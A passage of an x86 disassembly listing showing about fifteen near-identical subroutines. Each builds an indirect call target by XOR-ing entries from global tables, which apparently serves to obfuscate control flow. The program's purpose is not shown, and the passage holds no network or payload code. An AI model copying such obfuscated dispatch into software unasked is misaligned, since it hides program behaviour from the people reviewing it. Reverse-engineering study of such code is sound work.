idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE69F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE69F: ; CODE XREF: sub_4AE60E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE60E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE70B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB10o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C3h
mov [ebp+var_2C], 8Ch
mov [ebp+var_28], 0DEh
mov [ebp+var_24], 0E3h
mov [ebp+var_20], 0B8h
mov [ebp+var_1C], 32h
mov [ebp+var_18], 0CEh
mov [ebp+var_14], 0EEh
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE79C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE79C: ; CODE XREF: sub_4AE70B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE70B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE808 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB14o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 44h
mov [ebp+var_2C], 7Bh
mov [ebp+var_28], 40h
mov [ebp+var_24], 97h
mov [ebp+var_20], 11h
mov [ebp+var_1C], 47h
mov [ebp+var_18], 0D5h
mov [ebp+var_14], 2Ch
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE899
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE899: ; CODE XREF: sub_4AE808+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE808 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE905 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB18o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 38h
mov [ebp+var_2C], 0AEh
mov [ebp+var_28], 0BDh
mov [ebp+var_24], 0AAh
mov [ebp+var_20], 6Bh
mov [ebp+var_1C], 0A7h
mov [ebp+var_18], 8Ch
mov [ebp+var_14], 0E6h
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE996
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE996: ; CODE XREF: sub_4AE905+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE905 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AEA02 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB1Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 88h
mov [ebp+var_2C], 71h
mov [ebp+var_28], 0D0h
mov [ebp+var_24], 0CCh
mov [ebp+var_20], 31h
mov [ebp+var_1C], 0E5h
mov [ebp+var_18], 45h
mov [ebp+var_14], 16h
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AEA93
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AEA93: ; CODE XREF: sub_4AEA02+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AEA02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AEAFF proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB20o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Dh
mov [ebp+var_2C], 70h
mov [ebp+var_28], 4Eh
mov [ebp+var_24], 0DCh
mov [ebp+var_20], 0A8h
mov [ebp+var_1C], 0A8h
mov [ebp+var_18], 0E0h
mov [ebp+var_14], 8Eh
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AEB90
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AEB90: ; CODE XREF: sub_4AEAFF+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AEAFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AEBFC proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB24o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Bh
mov [ebp+var_2C], 53h
mov [ebp+var_28], 0ABh
mov [ebp+var_24], 58h
mov [ebp+var_20], 0Bh
mov [ebp+var_1C], 0DBh
mov [ebp+var_18], 12h
mov [ebp+var_14], 7Ah
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AEC8D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AEC8D: ; CODE XREF: sub_4AEBFC+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AEBFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AECF9 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB28o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Ah
mov [ebp+var_2C], 0FBh
mov [ebp+var_28], 0CEh
mov [ebp+var_24], 87h
mov [ebp+var_20], 2Eh
mov [ebp+var_1C], 0D7h
mov [ebp+var_18], 0DEh
mov [ebp+var_14], 0D6h
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AED8A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AED8A: ; CODE XREF: sub_4AECF9+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AECF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AEDF6 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB2Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0EDh
mov [ebp+var_2C], 36h
mov [ebp+var_28], 0B6h
mov [ebp+var_24], 43h
mov [ebp+var_20], 2
mov [ebp+var_1C], 0C8h
mov [ebp+var_18], 0A2h
mov [ebp+var_14], 49h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AEE87
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AEE87: ; CODE XREF: sub_4AEDF6+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AEDF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AEEF3 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB30o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E9h
mov [ebp+var_2C], 0DEh
mov [ebp+var_28], 0C0h
mov [ebp+var_24], 3Bh
mov [ebp+var_20], 44h
mov [ebp+var_1C], 24h
mov [ebp+var_18], 0F1h
mov [ebp+var_14], 87h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AEF84
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AEF84: ; CODE XREF: sub_4AEEF3+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AEEF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AEFF0 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB34o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0CEh
mov [ebp+var_2C], 0Bh
mov [ebp+var_28], 88h
mov [ebp+var_24], 63h
mov [ebp+var_20], 7
mov [ebp+var_1C], 5Bh
mov [ebp+var_18], 4Ah
mov [ebp+var_14], 0E3h
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF081
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF081: ; CODE XREF: sub_4AEFF0+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AEFF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF0ED proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB38o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0AAh
mov [ebp+var_2C], 56h
mov [ebp+var_28], 55h
mov [ebp+var_24], 0ACh
mov [ebp+var_20], 0D0h
mov [ebp+var_1C], 62h
mov [ebp+var_18], 1Dh
mov [ebp+var_14], 51h
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF17E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF17E: ; CODE XREF: sub_4AF0ED+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF0ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF1EA proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB3Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Fh
mov [ebp+var_2C], 0E2h
mov [ebp+var_28], 0D6h
mov [ebp+var_24], 32h
mov [ebp+var_20], 16h
mov [ebp+var_1C], 73h
mov [ebp+var_18], 4Ah
mov [ebp+var_14], 1Ch
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
